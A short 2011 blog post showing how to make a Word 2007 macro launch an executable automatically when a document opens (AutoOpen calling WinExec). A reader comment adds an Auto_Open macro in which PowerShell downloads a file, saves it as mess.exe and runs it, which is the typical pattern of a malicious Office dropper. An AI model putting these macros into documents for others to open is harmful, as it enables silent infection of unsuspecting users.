Wednesday, April 13, 2011

Using a word macro to run an executable on Windows 7, Office 2007

To write a macro in Office 2007, you'll want the developer tab in the ribbon.  Turn it on by clicking the Office icon in the top left corner of Word and then 'Word Options'.  Find the 'Show Developer tab in the Ribbon' and check it.

Use this macro code to run blah.exe when the document is opened (using AutoOpen):

Private Declare Function WinExec Lib "Kernel32.dll" (ByVal lpCmdLine As String, ByVal nShowCmd As Long) As Long

Sub AutoOpen()

    Call WinExec("C:\blah.exe", SW_NORMAL)

End Sub

1 comment:

drake! said...

i try to run powershell from macro..and somthing goes wrong, macro not work..any idea?

Sub Auto_Open()
Dim x
x = Shell("POWERSHELL.EXE (New-Object System.Net.WebClient).DownloadFile('','mess.exe');Start-Process 'mess.exe'")
End Sub